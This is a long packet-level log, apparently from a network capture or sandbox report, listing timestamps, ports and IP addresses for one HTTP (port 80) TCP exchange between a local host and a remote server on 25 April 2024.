Apr 25, 2024 14:42:10.360716105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360753059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360768080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360790968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360797882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360838890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360896111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360935926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.360950947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.360981941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361001968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361051083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361073971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361112118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361129045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361150026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361156940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361186028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361200094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361224890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361232996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361263990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361274004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361301899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361315012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361335993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361351013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361372948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361385107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361411095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361414909 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361449957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361462116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361490011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361496925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361541033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361565113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361602068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361613035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361637115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361651897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361674070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361685038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361712933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361722946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361757040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361814976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361848116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361867905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361895084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361923933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361962080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.361974955 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.361999989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362005949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362032890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362050056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362071991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362082958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362109900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362121105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362147093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362159014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362184048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362200022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362221956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362231016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362260103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362267971 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362298965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362312078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362339973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362345934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362380028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362389088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362417936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362431049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362452984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362464905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362490892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362500906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362529993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362540007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362569094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362580061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362602949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362616062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362651110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362709045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362766027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362785101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362822056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362835884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362857103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362867117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362901926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.362960100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.362997055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363013983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363043070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363065958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363100052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363116980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363138914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363145113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363178015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363188982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363229990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363281012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363315105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363337040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363352060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363358021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363409996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363423109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363461018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363475084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363495111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363503933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363533020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363543987 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363573074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363584995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363610983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363619089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363645077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363656998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363692999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363719940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363756895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363771915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363795042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363801956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363827944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.363843918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.363874912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.412988901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413028002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413065910 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413098097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413141966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413141966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413141966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413187027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413223982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413225889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413238049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413275957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413301945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413336992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413356066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413373947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413378000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413417101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413429976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413480997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413484097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413526058 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413551092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413594961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.413683891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.413738966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414412975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414450884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414469957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414488077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414490938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414525986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414537907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414576054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414598942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414633989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414659977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414678097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414704084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414742947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414758921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414779902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414788008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414814949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414828062 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414851904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414859056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414891005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414899111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414930105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414941072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.414966106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.414980888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415003061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415013075 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415054083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415059090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415110111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415174007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415208101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415229082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415245056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415246010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415283918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415290117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415322065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415333033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415355921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415371895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415394068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415404081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415440083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415467024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415504932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415517092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415539026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415549994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415575981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415584087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415613890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415623903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415652037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415659904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415685892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415700912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415724039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415730000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415771961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415889978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415945053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.415961027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.415993929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416012049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416043043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416063070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416114092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416119099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416158915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416160107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416208029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416256905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416312933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416326046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416363955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416378975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416409016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416434050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416466951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416481018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416513920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416537046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416574001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416589022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416614056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416618109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416649103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416662931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416686058 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416696072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416726112 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416731119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416764021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416774988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416802883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416815996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416840076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416851044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416878939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.416887999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.416929007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417041063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417098999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417143106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417181015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417191982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417220116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417224884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417254925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417269945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417293072 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417304039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417340994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417362928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417414904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417433023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417465925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417483091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417501926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417512894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417541027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417546988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417578936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417588949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417613029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417628050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417658091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417712927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417766094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.417783022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.417830944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420365095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420398951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420422077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420437098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420442104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420476913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420485020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420515060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420526028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420548916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420563936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420586109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420595884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420624018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420636892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420661926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420669079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420700073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420707941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420737982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420744896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420775890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420782089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420810938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420825958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420847893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420860052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420885086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420893908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420923948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.420929909 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.420972109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.421000004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.421036959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.421056032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.421087980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.421103001 CEST	49731	80	192.168.2.4	185.172.128.76
